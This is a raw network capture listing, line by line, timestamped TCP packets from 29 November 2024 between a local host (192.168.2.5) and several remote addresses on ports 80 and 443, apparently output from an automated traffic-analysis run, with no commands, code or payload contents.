Nov 29, 2024 19:49:14.233692884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:14.234417915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:14.234431028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:14.234461069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:14.234482050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:14.235112906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:14.235158920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:14.235260963 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:14.235301971 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:14.235431910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:14.235444069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:14.235469103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:14.235487938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:14.235877037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:14.235918045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:14.235987902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:14.236048937 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:14.347291946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:14.347353935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:17.294344902 CET	49708	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:17.294357061 CET	443	49708	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:17.294418097 CET	49708	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:17.294472933 CET	49709	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:17.294482946 CET	443	49709	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:17.294531107 CET	49709	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:17.294636965 CET	49710	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:17.294645071 CET	443	49710	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:17.294707060 CET	49710	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:17.294853926 CET	49709	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:17.294867039 CET	443	49709	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:17.294991016 CET	49708	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:17.295001030 CET	443	49708	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:17.295296907 CET	49710	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:17.295304060 CET	443	49710	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:17.380542994 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:17.380554914 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:17.380620003 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:17.380919933 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:17.380930901 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:18.731858969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:18.731925011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:18.989644051 CET	443	49709	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:18.990001917 CET	49709	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:18.990021944 CET	443	49709	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:18.991384983 CET	443	49709	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:18.991487026 CET	49709	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:18.992767096 CET	49709	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:18.992988110 CET	49709	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:18.992993116 CET	443	49709	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:18.993189096 CET	443	49709	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.032638073 CET	443	49710	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.033025026 CET	49710	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:19.033058882 CET	443	49710	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.034109116 CET	443	49710	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.034174919 CET	49710	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:19.034508944 CET	49710	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:19.034569025 CET	443	49710	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.034806967 CET	49710	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:19.034813881 CET	443	49710	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.038984060 CET	49709	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:19.038997889 CET	443	49709	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.061213017 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.061427116 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:19.061436892 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.062417984 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.062479973 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:19.062767029 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:19.062823057 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.062911987 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:19.077168941 CET	443	49708	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.077373028 CET	49708	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:19.077384949 CET	443	49708	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.078829050 CET	443	49708	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.078897953 CET	49708	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:19.079181910 CET	49708	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:19.079242945 CET	443	49708	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.079268932 CET	49708	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:19.085889101 CET	49709	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:19.085891008 CET	49710	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:19.103338003 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.117127895 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:19.117137909 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.123325109 CET	443	49708	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.132859945 CET	49708	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:19.132867098 CET	443	49708	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.163800955 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:19.179105043 CET	49708	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:19.274076939 CET	49710	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:19.274169922 CET	443	49710	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.274229050 CET	49710	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:19.793431997 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:19.793456078 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:19.793534040 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:19.793953896 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:19.793963909 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:19.833874941 CET	443	49709	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.834029913 CET	443	49709	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.834110975 CET	49709	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:19.835253954 CET	49709	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:19.835268021 CET	443	49709	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.943017006 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.943075895 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.943111897 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.943125963 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:19.943144083 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.943183899 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:19.943190098 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.950103998 CET	443	49708	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.950246096 CET	443	49708	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.950303078 CET	49708	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:19.951276064 CET	49708	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:19.951292992 CET	443	49708	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:19.992120028 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:19.992134094 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.001466036 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.001545906 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.001559973 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.011264086 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.011343002 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.011353016 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.063879013 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.063992023 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.064002037 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.117449999 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.127767086 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.138422966 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.138547897 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.138555050 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.142518997 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.142570019 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.142576933 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.156673908 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.156739950 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.156748056 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.160271883 CET	49717	443	192.168.2.5	52.149.20.212
Nov 29, 2024 19:49:20.160290956 CET	443	49717	52.149.20.212	192.168.2.5
Nov 29, 2024 19:49:20.160371065 CET	49717	443	192.168.2.5	52.149.20.212
Nov 29, 2024 19:49:20.163552999 CET	49717	443	192.168.2.5	52.149.20.212
Nov 29, 2024 19:49:20.163566113 CET	443	49717	52.149.20.212	192.168.2.5
Nov 29, 2024 19:49:20.166393995 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.166457891 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.166465044 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.178986073 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.179055929 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.179068089 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.192214966 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.192291975 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.192297935 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.205596924 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.205691099 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.205698013 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.218744040 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.218823910 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.218832016 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.229336023 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.229393005 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.229398966 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.247737885 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.247826099 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.247831106 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.288938046 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.313807964 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.316723108 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.316776991 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.316792011 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.320947886 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.321003914 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.321016073 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.329922915 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.329969883 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.329982996 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.339092970 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.339134932 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.339149952 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.348754883 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.348799944 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.348813057 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.357932091 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.357980967 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.357995987 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.367389917 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.367434978 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.367449045 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.376876116 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.376923084 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.376934052 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.386324883 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.386409044 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.386420965 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.395978928 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.396028996 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.396034956 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.405761957 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.405810118 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.405814886 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.414642096 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.414689064 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.414695978 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.426248074 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.426300049 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.426306963 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.436213970 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.436255932 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.436263084 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.441015959 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.441070080 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.441077948 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.446557045 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.446609974 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.446616888 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.454878092 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.454926968 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.454936028 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.463809967 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.463876963 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.463882923 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.470146894 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.470201015 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.470210075 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.478126049 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.478183031 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.478189945 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.500103951 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.500149965 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.500165939 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.503524065 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.503570080 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.503576040 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.510260105 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.510298967 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.510305882 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.516275883 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.516319036 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.516325951 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.522334099 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.522386074 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.522392035 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.528440952 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.528470993 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.528480053 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.534567118 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.534617901 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.534627914 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.540893078 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.540937901 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.540945053 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.549851894 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.549896955 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.549904108 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.559396982 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.559442043 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.559448957 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.560424089 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.560467005 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.560475111 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.562511921 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.562552929 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.562557936 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.569746017 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.569792032 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.569797993 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.571471930 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:20.571521044 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.571909904 CET	49711	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:20.571918011 CET	443	49711	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:21.384270906 CET	49722	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:21.384299994 CET	443	49722	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:21.384577036 CET	49722	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:21.384835005 CET	49722	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:21.384846926 CET	443	49722	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:21.515722036 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:21.515800953 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:21.518852949 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:21.518860102 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:21.519113064 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:21.528990030 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:21.571336031 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:21.767680883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:21.768102884 CET	49726	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:21.887567997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:21.887937069 CET	80	49726	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:21.888032913 CET	49726	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:21.888344049 CET	49726	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:21.927922964 CET	443	49717	52.149.20.212	192.168.2.5
Nov 29, 2024 19:49:21.927993059 CET	49717	443	192.168.2.5	52.149.20.212
Nov 29, 2024 19:49:21.936088085 CET	49717	443	192.168.2.5	52.149.20.212
Nov 29, 2024 19:49:21.936103106 CET	443	49717	52.149.20.212	192.168.2.5
Nov 29, 2024 19:49:21.936394930 CET	443	49717	52.149.20.212	192.168.2.5
Nov 29, 2024 19:49:21.976955891 CET	49717	443	192.168.2.5	52.149.20.212
Nov 29, 2024 19:49:21.992168903 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:21.992197037 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:21.992212057 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:21.992280960 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:21.992295980 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:21.992341995 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:21.998682976 CET	49728	443	192.168.2.5	2.18.84.141
Nov 29, 2024 19:49:21.998697996 CET	443	49728	2.18.84.141	192.168.2.5
Nov 29, 2024 19:49:21.998776913 CET	49728	443	192.168.2.5	2.18.84.141
Nov 29, 2024 19:49:22.001957893 CET	49728	443	192.168.2.5	2.18.84.141
Nov 29, 2024 19:49:22.001971960 CET	443	49728	2.18.84.141	192.168.2.5
Nov 29, 2024 19:49:22.008279085 CET	80	49726	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:22.171557903 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.171585083 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.171648979 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.171659946 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.171699047 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.171720982 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.223431110 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.223452091 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.223529100 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.223539114 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.223661900 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.348603964 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.348623991 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.348699093 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.348716974 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.348773956 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.381131887 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.381154060 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.381237984 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.381246090 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.381392002 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.407712936 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.407754898 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.407789946 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.407799006 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.407890081 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.429533958 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.429557085 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.429624081 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.429631948 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.429706097 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.534320116 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.534348011 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.534414053 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.534442902 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.534478903 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.534581900 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.549907923 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.549926996 CET	443	49716	13.107.246.63	192.168.2.5
